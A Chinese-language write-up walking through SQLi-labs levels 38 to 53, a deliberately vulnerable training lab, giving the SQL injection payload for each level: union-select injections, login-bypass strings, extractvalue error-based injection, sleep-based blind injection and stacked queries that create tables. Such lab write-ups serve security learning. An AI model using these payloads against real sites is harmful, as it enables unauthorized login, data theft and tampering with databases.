这里是堆叠注入部分

less-38:

这题啥过滤都没有,直接上:

?id=100' union select 1,2,'3

less-39:

同less-38:

?id=100 union select 1,2,3

less-40:

输入?id=1',无语法错误回显。改成?id=1' and '1,返回与?id=1相同的结果。尝试:

?id=100' union select 1,2,'3

无返回结果,试试是不是有括号:

?id=100') union(select 1,2,'3

成功回显。

less-41:

测试方法同上,发现是数字型注入,尝试:

?id=100 union select 1,2,3

成功。

less-42:

这题本来以为是前面那个重置任意用户密码漏洞,可是这题无法创建用户。故猜测是登录绕过,尝试:

username=abc' or 1#
password=abc' or 1#

登录成功:

一下就过来了,想再好好试一下:

username=abc' or 1#
password=abc

登录失败,下面换成password试试:

username=abc
password=abc' or 1#

登录成功。

less-43:

还是像上题一样,先试试:

username=abc' or 1#
password=abc' or 1#

返回语法错误,根据报错位置,判断是password存在注入,而且注意一下,password是被括号包裹的。payload:

username=abc
password=abc') union(select 1,2,'3

登录成功:

less-44:

继续试:

username=abc' or 1#
password=abc' or 1#

登录成功!后来测试发现是password的注入。

ps: 这种简单粗暴的解法效率还挺高的~

less-45:

继续用上面的方法尝试:

username=abc' or 1#
password=abc' or 1#

发现并无报错,换成双引号也是,说明是没有错误提示的。尝试是否有括号:

username=abc') or 1#
password=abc') or 1#

登录成功。

less-46:

这题参数名变成了sort,推测注入点在order by,估计SQL语句如下:

select * from users order by sort

由于注入点在order by后面,所以没法使用union了。只能使用盲注,或者报错注入。这题名字就叫报错注入,payload:

?sort=(extractvalue(1,concat(0x7e,database(),0x7e)))

less-47:

这题跟上面差不多,只不过sort变成了单引号字符串,所以payload也稍有不同:

?sort=1'-(extractvalue(1,concat(0x7e,database(),0x7e)))-1'

报错语句的前后两个减号主要是用于与前后两个1形成一个完整的字符串

less-48:

这题没有报错回显,通过一些列fuzz,发现还是个数字型注入,fuzz方法如下:

?sort=1
?sort=2-1

这两个返回的是同一个页面,说明2-1被运算了。又由于没有回显,所以只能盲注了。用之前的脚本常规操作一波吧。

less-49:

这题还是fuzz,当输入一个单引号时不回显数据,所以这题是个单引号注入。经过一番测试发现无论输入什么,只要不是奇数个单引号,都会回显相同的内容。既然没有变化的回显就只能用时延盲注了:

?sort=1'-if((1=1),sleep(5),1)-'1

回车之后发现后端会处理五秒左右,所以就从这里注入了。还用之前的脚本,把if中的条件换一下就ok了。

less-50:

这题测试一下发现注入方法跟less-46一样,估计是个非预期解,故看一下文件名,是个堆叠注入。之前一直以为堆叠注入是union注入,现在才知道意思是两个SQL语句。由于这题是数值型,也没什么过滤,很容易再构造一个语句,先看一下数据库有哪些表:

payload:

?sort=1; create table hello like users

注意一下,create table hello后面要加上like users,因为如果直接create table的话,表是没有字段名的,所以无法创建。

less-51:

跟上一题一样,只不过是个单引号字符串,payload:

?sort=1';create table hello2 like users--%20

less-52:

数值型注入,跟上面差不多:

?sort=1;create table hello3 like users

less-53:

输入单引号后不返回信息,说明这是个单引号注入。继续上面的payload:

?sort=1';create table hello4 like users

SQLI LABS Stacked Part(38-53) WriteUp的更多相关文章

  1. SQLI LABS Basic Part(1-22) WriteUp

    好久没有专门练SQL注入了,正好刷一遍SQLI LABS,复习巩固一波~ 环境: phpStudy(之前一直用自己搭的AMP,下了这个之后才发现这个更方便,可以切换不同版本的PHP,没装的小伙伴赶紧试 ...

  2. Qt 学习之路 2(53):自定义拖放数据

    Qt 学习之路 2(53):自定义拖放数据 豆子  2013年5月26日  Qt 学习之路 2  13条评论上一章中,我们的例子使用系统提供的拖放对象QMimeData进行拖放数据的存储.比如使用QM ...

  3. (Problem 53)Combinatoric selections

    There are exactly ten ways of selecting three from five, 12345: 123, 124, 125, 134, 135, 145, 234, 2 ...

  4. Sqli labs系列-less-3 。。。

    原本想着找个搜索型的注入玩玩,毕竟昨天被实力嘲讽了 = = . 找了好长时间,我才发现,我没有 = = ,网上搜了一个存在搜索型注入的源码,我看了好长时间,楞没看出来从哪里搜索注入了....估计是我太 ...

  5. Sqli labs系列-less-2 详细篇

    就今天晚上一个小插曲,瞬间感觉我被嘲讽了. SQL手工注入这个东西,杂说了吧,如果你好久不玩的话,一时说开了,你也只能讲个大概,有时候,长期不写写,你的构造语句还非常容易忘,要不我杂会被瞬间嘲讽了啊. ...

  6. Sqli labs系列-less-1 详细篇

    要说 SQL 注入学习,网上众多的靶场,就属 Sqli labs 这个系列挺不错的,关卡达到60多关了,我自己也就打了不几关,一个挺不错的练习SQL注入的源码. 我一开始就准备等我一些原理篇总结完了, ...

  7. 【雕爷学编程】Arduino动手做(53)---土壤湿度传感器

    37款传感器与模块的提法,在网络上广泛流传,其实Arduino能够兼容的传感器模块肯定是不止37种的.鉴于本人手头积累了一些传感器和模块,依照实践(动手试试)出真知的理念,以学习和交流为目的,这里准备 ...

  8. SQLI LABS Advanced Part(23-37) WriteUp

    继续继续!这里是高级部分! less-23: 提示输入id参数,尝试: ?id=1' and '1 返回的结果与?id=1相同,所以可以直接利用了. ?id=1' order by 5# 可是页面返回 ...

  9. SQLI LABS Challenges Part(54-65) WriteUp

    终于到了最后一部分,这些关跟之前不同的是这里是限制次数的. less-54: 这题比较好玩,10次之内爆出数据.先试试是什么类型: ?id=1' and '1 ==>>正常 ?id=1' ...

随机推荐

  1. 根据高德API知道坐标获取详细地址信息

    /** * 根据坐标获取具体地址 * @param coor 坐标字符串 * @return */ public static String getAdd(String coor){ String u ...

  2. 让Tomcat告别频繁重启

    在网站开发过程中,有一个很烦的问题就是每次我们在项目里增加几行代码,然后我们企图在浏览器中查看修改后的变化时,却发现浏览器的内容并不变化,于是我们只能通过频繁的重启tomcat来获得最新的效果,其实这 ...

  3. 阿里巴巴的开源项目Druid(关于数据库连接)

    1 配置 和dbcp类似,druid的常用配置项如下 配置 缺省值 说明 name   配置这个属性的意义在于,如果存在多个数据源,监控的时候可以通过名字来区分开来.如果没有配置,将会生成一个名字,格 ...

  4. BZOJ_4269_再见Xor_线性基

    BZOJ_4269_再见Xor_线性基 Description 给定N个数,你可以在这些数中任意选一些数出来,每个数可以选任意多次,试求出你能选出的数的异或和的最大值和严格次大值. Input 第一行 ...

  5. python struct.pack() 二进制文件,文件中打包二进制数据的存储与解析

    学习Python的过程中,遇到一个问题,在<Python学习手册>(也就是<learning python>)中,元组.文件及其他章节里,关于处理二进制文件里,有这么一段代码的 ...

  6. jdk源码剖析一:OpenJDK-Hotspot源码包目录结构

    开启正文之前,先说一下源码剖析这一系列,就以“死磕到底”的精神贯彻始终,JDK-->JRE-->JVM(以openJDK代替) 最近想看看JDK8源码,但JDK中JVM(安装在本地C:\P ...

  7. php之array_column 的使用

    听说只有大牛级的高工才知道的函数array_column () 讲真,我才知道. (PHP 5 >= 5.5.0, PHP 7) array_column - 返回数组中指定的一列 说明 arr ...

  8. Python 命令行(CLI)基础库

    在 CLI 下写 UI 应用 前阵子看了一下自己去年写的 Python-视频转字符动画,感觉好糗..所以几乎把整篇文章重写了一遍.并使用 curses 库实现字符动画的播放. 但是感觉,curses ...

  9. java中的数组二分法

    数组二分法意在以较快的速度查找到某个值的下标位置. 二分法的核心思想:找到一个数组的中间位置值,判断某个数值是在这个中间值的左边还是右边,如果是左边,将中间位置之前进行二分,二分后,结束位置变为原始中 ...

  10. struts2--值栈

    值栈是对应每一个请求对象的轻量级的数据存储中心,在这里统一管理着数据,供Action.Result.Interceptor等Struts2的其他部分使用,这样数据被集中管理起来而不凌乱.当有请求的时候 ...